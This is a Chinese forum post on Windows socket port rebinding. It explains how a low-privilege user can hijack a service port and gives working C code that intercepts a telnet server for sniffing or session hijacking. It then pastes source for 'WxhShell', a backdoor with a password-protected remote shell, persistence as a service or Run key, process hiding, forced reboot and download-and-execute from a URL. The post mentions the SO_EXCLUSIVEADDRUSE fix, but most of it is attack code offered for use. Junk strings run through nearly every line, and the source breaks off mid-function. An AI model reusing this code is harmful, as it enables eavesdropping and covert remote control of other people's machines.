社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18079阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]]0,|My7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a.@qGsIH  
4/e60jA  
  saddr.sin_family = AF_INET; egk7O4zwP  
P[ r];e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 47r&8C+&\  
f )Z%pgB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 17|np2~  
pI.+"Hz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =IU*}>#  
\.uc06  
  这意味着什么?意味着可以进行如下的攻击: wQ+8\ s=  
Zg~nlO2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]m4OIst  
1L nyWZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dRi5hC$  
ememce,Np  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _ oFs #kW  
2xwlKmI N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l?8M p$M  
5J2=`=FK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1ocJ+  
)$ Mmn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B,WTHU[AV  
BvD5SBa}"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $wB^R(f@  
bFS>)  
  #include Bux [6O %  
  #include d[D&J  
  #include S6d`ioi-  
  #include    7nU6k%_%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uC3:7  
  int main() SOZPZUUEJ  
  { errH>D~  
  WORD wVersionRequested; & fC!(Oy  
  DWORD ret; ao" %WX  
  WSADATA wsaData; BYrZEVM9  
  BOOL val; :1ecx$  
  SOCKADDR_IN saddr; `d]IX^;  
  SOCKADDR_IN scaddr; 8~lIe:F-  
  int err; ~PWSo%W8  
  SOCKET s; U69u'G:  
  SOCKET sc; fBn"kr;  
  int caddsize; 4Y> Yi*n  
  HANDLE mt; d[ >`")2)  
  DWORD tid;   g*UMG>  
  wVersionRequested = MAKEWORD( 2, 2 ); %+>s#Q2d  
  err = WSAStartup( wVersionRequested, &wsaData ); %xZG*2vc!B  
  if ( err != 0 ) { }@1q@xU  
  printf("error!WSAStartup failed!\n"); <*!i$(gn  
  return -1; U9y|>P\)T  
  } JA)?p{j  
  saddr.sin_family = AF_INET; tR0pH8?e"  
   V r(J+1@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?~"bR%  
M 3 '$[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f/,>%j=Ms  
  saddr.sin_port = htons(23); $''?HjB}T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }9HmTr|  
  { {`=0 |oP}  
  printf("error!socket failed!\n"); |BT MJ:B  
  return -1; =L|tp%!  
  } [D-Q'"'A  
  val = TRUE; /M;#_+VK<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 aI(7nJ=R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) NcOPL\  
  { o%{'UG  
  printf("error!setsockopt failed!\n"); im} ?rY  
  return -1; {Gq*e/  
  } <ljI;xE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oI:o"T77sA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2~[@_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *[ #;j$m  
`@d<n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8$s9(n-_Y  
  { j"^ +oxH  
  ret=GetLastError(); znJhP}(  
  printf("error!bind failed!\n"); XqRJr%JH  
  return -1; j*"3t^|-  
  }  T9)nQ[  
  listen(s,2); &cWjE x  
  while(1) O%g $9-?F0  
  { 1g# #sSa6  
  caddsize = sizeof(scaddr); b`yZ|j'ikd  
  //接受连接请求 SK1!thQy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LE5.b]tv2  
  if(sc!=INVALID_SOCKET) ~R$~&x(b  
  { 4n#ov=)-~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iv`O /T  
  if(mt==NULL) >3 yk#U|7}  
  {  [,n c  
  printf("Thread Creat Failed!\n"); ~DRmON5 M  
  break; F' U 50usV  
  } |@,|F:h<M  
  } NK|?y  
  CloseHandle(mt); Sxdsv9w  
  } p4IZ   
  closesocket(s); QB.J,o*XD4  
  WSACleanup(); CQel3Jtt.  
  return 0; MMB@.W  
  }   W$U0[^1  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,B4VT 96*  
  { b'MSkEiQG  
  SOCKET ss = (SOCKET)lpParam; Wg{k$T_>  
  SOCKET sc; Go,N>HN  
  unsigned char buf[4096]; WN(ymcdYB  
  SOCKADDR_IN saddr; 26X+ }^52  
  long num; m)V/L]4  
  DWORD val; <YA&Dr3OD  
  DWORD ret; (~zd6C1.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K{n{KB&_&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m9U"[Huv1E  
  saddr.sin_family = AF_INET; G?f\>QSZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q$1PG+-  
  saddr.sin_port = htons(23); ]yjl~3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9/+Nj/  
  { J=.`wZQkS  
  printf("error!socket failed!\n"); $^u}a   
  return -1; go+Q~NV   
  } b:qY gg  
  val = 100; 2G$SpfeIu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pg]BsJN  
  { S'oGt&Z<  
  ret = GetLastError(); Z/rP"|EuQ  
  return -1; 1B),A~Ip  
  } Ii7QJ:^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y_xnai  
  { aP'"G^F   
  ret = GetLastError(); 0]D0{6x8  
  return -1; 8|E'>+ D_-  
  } n wI!O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ih?^t(i  
  { *'Z B*>  
  printf("error!socket connect failed!\n"); >~`C-K#  
  closesocket(sc); ^(viM?*  
  closesocket(ss); M#|dIbns H  
  return -1; GGhM;%H_99  
  } .]aF 1}AI  
  while(1) %OgS^_tu  
  { Sq:0w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $}")1|U,X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ra*e5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b64 @s2]  
  num = recv(ss,buf,4096,0); L[5=h  
  if(num>0) d #jK=:eK  
  send(sc,buf,num,0); }|%eCVB  
  else if(num==0) ?g!V!VS2  
  break; CK, 6ytB  
  num = recv(sc,buf,4096,0); ]%Zz \Q  
  if(num>0) -W,}rcj*|  
  send(ss,buf,num,0); oK{ V7  
  else if(num==0) UT}i0I9  
  break; oD}uOC}FS{  
  } E( us'9c   
  closesocket(ss); vkLC-Mzm<  
  closesocket(sc); bQ|V!mrN}  
  return 0 ; 1s1=rZ!  
  } %e*@CbO$  
5SkW-+$  
!mXxAo  
========================================================== }w4QP+ x  
\M'-O YH_[  
下边附上一个代码,,WXhSHELL gWY "w!f  
m7T)m0  
========================================================== h*ZC*eV>  
fib}b? vk  
#include "stdafx.h" 3> /K0N|$  
!|c|o*t{  
#include <stdio.h> +2 Af&~T  
#include <string.h> _)]CzBRq\6  
#include <windows.h> C"IKt  
#include <winsock2.h> |lv|!]qAma  
#include <winsvc.h> XD"_Iq!  
#include <urlmon.h> d#2$!z#  
')GSAY7  
#pragma comment (lib, "Ws2_32.lib") 'l,V*5L  
#pragma comment (lib, "urlmon.lib") u^029sH6j  
d;n."+=[x  
#define MAX_USER   100 // 最大客户端连接数 a~8[<Fomj  
#define BUF_SOCK   200 // sock buffer wgd/(8d  
#define KEY_BUFF   255 // 输入 buffer Nan[<  
!'LW_@  
#define REBOOT     0   // 重启 {nU=%w"\  
#define SHUTDOWN   1   // 关机 V ]90  
OzC\9YeA  
#define DEF_PORT   5000 // 监听端口 v@#b}N0n  
3]?#he  
#define REG_LEN     16   // 注册表键长度 %Qk/_ R1   
#define SVC_LEN     80   // NT服务名长度 <V>dM4Mkr  
UwC=1g U  
// 从dll定义API _#vrb;.+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?ve#} \  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {\[5}nV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G\T fL^A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RoAlf+&Qb  
O#Wh TDF"  
// wxhshell配置信息 i*CZV|t US  
struct WSCFG { ZcYh) HD  
  int ws_port;         // 监听端口 ]r_;dYa  
  char ws_passstr[REG_LEN]; // 口令 aM4k *|H?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9(":,M(/o  
  char ws_regname[REG_LEN]; // 注册表键名 7=(Hy\Q5xH  
  char ws_svcname[REG_LEN]; // 服务名 U4G`ZK v(!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qY[xpm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 41SGWAd#:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ? R>h `  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fU!<HD h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9uWY@zu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =N 5z@;!  
1!>Jpi0  
}; *-xU2  
fw[y+Bi& ?  
// default Wxhshell configuration N]RZbzK_5G  
struct WSCFG wscfg={DEF_PORT, =Fdg/X1  
    "xuhuanlingzhe", ]5%/3P,/  
    1, ~H!S,"n^,P  
    "Wxhshell", "+unS)M;Y  
    "Wxhshell", ;t+ub8  
            "WxhShell Service", \(%Y%?dy  
    "Wrsky Windows CmdShell Service", '? jlH0;  
    "Please Input Your Password: ", jMpD+Mb  
  1, 0>zbCubPH  
  "http://www.wrsky.com/wxhshell.exe", H'HSD,>(  
  "Wxhshell.exe" U#U]Pt  
    }; SB)5@ nmS  
9Vf1Xz  
// 消息定义模块 qpXWi &g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (dv]=5""  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a5w:u5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'MY/*k7:  
char *msg_ws_ext="\n\rExit."; 2=_g f  
char *msg_ws_end="\n\rQuit."; f47M#UC  
char *msg_ws_boot="\n\rReboot..."; zhf.NCSt(  
char *msg_ws_poff="\n\rShutdown..."; O eL}EVs8=  
char *msg_ws_down="\n\rSave to "; Bm]8m=p  
c*@G_rb  
char *msg_ws_err="\n\rErr!"; QD%L0;j  
char *msg_ws_ok="\n\rOK!"; +5XpzZ{#Wa  
!A%<#Gjt  
char ExeFile[MAX_PATH]; JY6 Q p  
int nUser = 0; P 3'O/!  
HANDLE handles[MAX_USER]; x.q+uU$^  
int OsIsNt; )&!&AlLn  
?Ae ve n  
SERVICE_STATUS       serviceStatus; 4rrSb*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /d%=E  
>KJ+-QuO&  
// 函数声明 ) Yd?m0m*  
int Install(void); r\/+Oa'  
int Uninstall(void); v,ju!I0.  
int DownloadFile(char *sURL, SOCKET wsh); F+u|HiYG  
int Boot(int flag); ,{c?ymw?  
void HideProc(void); ^_m9KA  
int GetOsVer(void); YY!Rz[/  
int Wxhshell(SOCKET wsl); 71\xCSI1w&  
void TalkWithClient(void *cs); "&3h2(#%  
int CmdShell(SOCKET sock); ~ yX2\i"  
int StartFromService(void); KGg3 !jY  
int StartWxhshell(LPSTR lpCmdLine); +>PX&F  
6 :~v4W!k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )P+7PhE{J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r-<F5<H+K@  
IC7M$  
// 数据结构和表定义 [Vma^B$7Vj  
SERVICE_TABLE_ENTRY DispatchTable[] = qT^I?g"!  
{ Ng_!zrx04  
{wscfg.ws_svcname, NTServiceMain}, )Eo)t>  
{NULL, NULL} rvw)-=qR[  
}; `*shF9.\C  
:ijAqfX  
// 自我安装 Gy(=706  
int Install(void) 87YyDWTn  
{ )+6MK(<"  
  char svExeFile[MAX_PATH]; ->V<DZK  
  HKEY key; =&:Y6XP  
  strcpy(svExeFile,ExeFile); Ywwu0.H<  
'  <=+;q  
// 如果是win9x系统,修改注册表设为自启动 ?5 {>;#0Z  
if(!OsIsNt) { :eCU/BC4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y~\oTJb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nal9M[]c  
  RegCloseKey(key); xKho1Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9B9(8PVG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5^x1cUB]  
  RegCloseKey(key); y_?Me]  
  return 0; j?+X\PtQ  
    } ?[ lV-  
  } OtNd,U.dE  
} 1 9CK+;b  
else { n<u $=H  
X)% A6M  
// 如果是NT以上系统,安装为系统服务 [D4Es  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &mx)~J^m  
if (schSCManager!=0) Dg?:/=,=9r  
{ v'3J.?N  
  SC_HANDLE schService = CreateService  v%iflCK  
  ( \:UIc*S  
  schSCManager, @qYp>|AF  
  wscfg.ws_svcname, [;J>bi;3N  
  wscfg.ws_svcdisp, ~ (jKz}'~U  
  SERVICE_ALL_ACCESS, MpR2]k#n<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5yz(>EVH  
  SERVICE_AUTO_START, )'+8}T]xQ  
  SERVICE_ERROR_NORMAL, uwy:t!(j  
  svExeFile, <Pi|J-Y  
  NULL, _+E5T*dk  
  NULL, ilqy /fL#  
  NULL, (:> ,u*x%  
  NULL, m*kl  
  NULL 1bn^.768l  
  ); 736Jq^T  
  if (schService!=0) XSyHk"g`  
  { m+T;O/lG0{  
  CloseServiceHandle(schService); e-EUf  
  CloseServiceHandle(schSCManager); q}?4f *WC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ys kO  
  strcat(svExeFile,wscfg.ws_svcname); Z '7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P`cq H(   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WL"^>[Vq  
  RegCloseKey(key); TtTj28 k7  
  return 0; j=r P:#  
    } }WH&iES@P  
  } XLrwxj0  
  CloseServiceHandle(schSCManager); 1 P!Yxeh  
} ~ r4 38&  
} M]2]\km  
!*B'?|a<\  
return 1; x5-}h*  
} 85Otss/mM  
y1+*6|  
// 自我卸载 z?*w8kU&>  
int Uninstall(void) N@Uy=?)ZJ  
{ LAS'u "c|  
  HKEY key; IHv[v*4:  
9^#c| 0T  
if(!OsIsNt) { 7%|~>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6"&6 `f  
  RegDeleteValue(key,wscfg.ws_regname); "ozr+:#\  
  RegCloseKey(key); c2'Lfgx4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &keR~~/  
  RegDeleteValue(key,wscfg.ws_regname); eEv@}1~  
  RegCloseKey(key); `ux{;4q  
  return 0; I7n"&{s"*  
  } (<xfCH F5  
} EWkLXU6t  
} [QoK5Yw{  
else { GkTiDm?  
9\BT0kx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [`"ZjkR_J  
if (schSCManager!=0) .ufTQ?Fe  
{ (jRm[7H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AW!?"xdZ  
  if (schService!=0) n%.7h3  
  { /YMj-S_b~  
  if(DeleteService(schService)!=0) { '6cWS'9"  
  CloseServiceHandle(schService); Enn"hdI  
  CloseServiceHandle(schSCManager); 1;Cyz)  
  return 0; LcTt)rs f  
  } O @j} K4  
  CloseServiceHandle(schService); ':3 pq2{  
  } {YAJBIvHV  
  CloseServiceHandle(schSCManager); P"IPcT%Ob%  
} %u5L!W&  
} q=Sgk>NA  
RbP6F*f  
return 1; '}Z~JYa0  
} sHt].gZ  
y[)>yq y  
// 从指定url下载文件 ?R$F)g7<  
int DownloadFile(char *sURL, SOCKET wsh) qzKdQ&vO  
{ 2db3I:;E  
  HRESULT hr; ZQ%'`q\c  
char seps[]= "/"; U4C 9<h&  
char *token; 2a`o &S  
char *file; L\xk:j1[  
char myURL[MAX_PATH]; Ez fN&8E  
char myFILE[MAX_PATH]; vyK7I%T'R  
(3 Two}  
strcpy(myURL,sURL); .*Ct bGw  
  token=strtok(myURL,seps); $j5K8Ad  
  while(token!=NULL) emqZztccZ  
  { 6z#acE1)M  
    file=token; t4zkt!`B  
  token=strtok(NULL,seps); 9=8iy w  
  } lhAX;s&9  
t\~P:"  
GetCurrentDirectory(MAX_PATH,myFILE); |y!=J$ $_H  
strcat(myFILE, "\\"); (a.z9nqGA  
strcat(myFILE, file); w[zjerH3  
  send(wsh,myFILE,strlen(myFILE),0); =hC,@R>;  
send(wsh,"...",3,0); 93("oBd[s(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [65 `$x-  
  if(hr==S_OK) ~962i#&4  
return 0; ao1(]64X"  
else 8*#R]9  
return 1; s%nUaWp~  
RI 5yF  
} k;AD`7(=  
Sq/ qu-%X  
// 系统电源模块 =jOv] /  
int Boot(int flag) c[wla<dO*  
{ a eFe!`F  
  HANDLE hToken; 6}[I2F_^  
  TOKEN_PRIVILEGES tkp; :cem,#(=  
cu7hBf j  
  if(OsIsNt) { AN8`7F1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |:nOp(A\*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m? J0i>H  
    tkp.PrivilegeCount = 1; 4o <Uy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u~7hWiY<2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H]{v;;'~  
if(flag==REBOOT) { C*)3e*T*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GP!?^r:en  
  return 0; ^84G%)`&  
} rb5~XnJk  
else { \o}xF@sM5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) , pDnRRJ!  
  return 0; %p^wZtm  
} W=^#v  
  } f9t6q*a`%  
  else { ov ` h  
if(flag==REBOOT) { p Dx1z|@z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X^}I-M%{m  
  return 0; Z &Pg"a?\  
} bH7X'%r  
else { jVv0ST*z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ieDk;  
  return 0; \r;#g{ _  
} Vwg|K|  
} L[oui,}_  
D.B.7-_8  
return 1; s @&`f{  
} rdl;M>0@  
sT3^hY7  
// win9x进程隐藏模块 dpAjR  
void HideProc(void) Su 586;\  
{ #I{h\x><?  
:1cV;gJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A-H&  
  if ( hKernel != NULL ) FcR=v0),  
  { T6O::o6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |%F=po>w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~P*6ozSYpY  
    FreeLibrary(hKernel); 3m]4=  
  } \8)U!9,$nn  
|{BIHgMh  
return; 5gH1.7i b  
} ,X[kt z  
^crCy-`#  
// 获取操作系统版本 2#KJ asX  
int GetOsVer(void) mq aHwID  
{ rHC>z7+z.  
  OSVERSIONINFO winfo; ^=BTz9QM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 63q^ $I  
  GetVersionEx(&winfo); ]e"=$2d$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9Tg IB  
  return 1; 'DY`jVwa  
  else CY 4gSe?  
  return 0; R@58*c:U(  
} y6ECdVF  
7,U=Qe;  
// 客户端句柄模块 prC;L*~8  
int Wxhshell(SOCKET wsl) 0[R L>;D:  
{ Ye"o6_U "  
  SOCKET wsh; oibsh(J3  
  struct sockaddr_in client; oI0M%/aM  
  DWORD myID; [>+4^&  
s`M9    
  while(nUser<MAX_USER) aXQnZ+2e^R  
{ d?s<2RkPT  
  int nSize=sizeof(client); ~ZmN44?R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;X8yFq  
  if(wsh==INVALID_SOCKET) return 1; EY^1Y3D w0  
opY@RJ]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gFeO}otm  
if(handles[nUser]==0) kW2sY^Rg  
  closesocket(wsh); N+m)/x =:  
else nGpXI\K  
  nUser++; T}Km?d  
  } xHUsFm s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `n#H5Oyn  
Pj#<K%Bz  
  return 0; Gy9$wH@8  
} ]mo-rhDsM  
eK6hS_E  
// 关闭 socket Fz3fwLawI  
void CloseIt(SOCKET wsh) 6%'.A]"  
{ 8UW^"4  
closesocket(wsh); V@B__`y7  
nUser--; -|J"s$yO4  
ExitThread(0); HKU~UTRnZ  
} nim*/LC[:  
%z /hf  
// 客户端请求句柄 ~k\fhx  
void TalkWithClient(void *cs) zjJ *n8l  
{ 9E zj"  
j5K]CTz#  
  SOCKET wsh=(SOCKET)cs; UR%/MV  
  char pwd[SVC_LEN]; ?+_Gs;DGVE  
  char cmd[KEY_BUFF]; dU6ou'p f  
char chr[1]; ,p4&g)o  
int i,j; 2"0es40;0  
7F zA*  
  while (nUser < MAX_USER) { Of- Rx/  
p6 ]7&{>  
if(wscfg.ws_passstr) { xO$lsZPG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kY&k-K\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'z0:Ccbj  
  //ZeroMemory(pwd,KEY_BUFF); sR(9IW-  
      i=0; "8c@sHk(w  
  while(i<SVC_LEN) { "w^!/  
J,V9k[88  
  // 设置超时 )2pbpbWX>  
  fd_set FdRead; {J{+FFsr(  
  struct timeval TimeOut; V[{6e  
  FD_ZERO(&FdRead); CpA|4'#  
  FD_SET(wsh,&FdRead); qS403+Su1=  
  TimeOut.tv_sec=8; UM!ENI|  
  TimeOut.tv_usec=0; VbJiZw(aR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~o82uw?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~c8? >oN(  
@E^~$-J5j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~;QvWS  
  pwd=chr[0]; z8jk[5z  
  if(chr[0]==0xd || chr[0]==0xa) { :?k>HQe  
  pwd=0; &)8:h+&Z  
  break; *'OxAfa#x  
  } u\E?Y[1  
  i++; Usr@uI#{J  
    } 2VF%@p  
qHsUP;7  
  // 如果是非法用户,关闭 socket k >F'ypm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?5U2D%t  
}  +EFgE1w  
g'p K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +1Vjw'P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CAWA3fcQp  
iocI:b <  
while(1) { +!k&Yje  
H9KKed47d/  
  ZeroMemory(cmd,KEY_BUFF); N8!cO[3Oh  
{s)+R[?m<o  
      // 自动支持客户端 telnet标准   q`|LRz&al  
  j=0; J1/?JfF  
  while(j<KEY_BUFF) { BHd&yIyI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k ]W[`  
  cmd[j]=chr[0]; GT~)nC9f  
  if(chr[0]==0xa || chr[0]==0xd) { ZtV9&rd7  
  cmd[j]=0; ]Oh@,V8  
  break; Mx6@$tQ%  
  } - |kA)M[  
  j++; TK5K_V*7  
    } j;%-fvd;  
oE<`VY|  
  // 下载文件 Wc,_RN-  
  if(strstr(cmd,"http://")) { *7*lE"$p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s4G|_==  
  if(DownloadFile(cmd,wsh)) A:>01ZJ5S+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cmBB[pk\  
  else ^:K3vC[h;c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); unshH<  
  } v$~QU{ &  
  else { j;']cWe  
2]I4M[|&z  
    switch(cmd[0]) { $9 ]m=S  
  {SwQ[$k=_  
  // 帮助 @'YS1N<  
  case '?': { P6E3-?4j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bIGHGd  
    break; 4Yxo~ m(  
  } ML:Q5 ^`  
  // 安装 ^=C{.{n  
  case 'i': { ?bPRxR  
    if(Install()) (H)2s Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 d;|sI@  
    else VK}fsOnj0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QN@CPuy  
    break; I{ HN67O  
    } )_1zRT|9  
  // 卸载 =2Bg9!zW>  
  case 'r': { JQ}$Aqk  
    if(Uninstall()) dODt(J}%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ks=>K(V6  
    else h lkn%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W;_nK4$%'  
    break; q/4YS0CqE  
    } I*LknU@  
  // 显示 wxhshell 所在路径 k:*S&$S!E  
  case 'p': { dArDP[w  
    char svExeFile[MAX_PATH]; 'I_Qb$  
    strcpy(svExeFile,"\n\r"); 0zo?eI  
      strcat(svExeFile,ExeFile); 9dFy"yxYa  
        send(wsh,svExeFile,strlen(svExeFile),0); +cIUGF p}  
    break; bx<RV7>0  
    } #6ri-n  
  // 重启 LAVAFlK5  
  case 'b': { RMX:9aQ3F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sczc5FG  
    if(Boot(REBOOT)) UQ'\7OS  
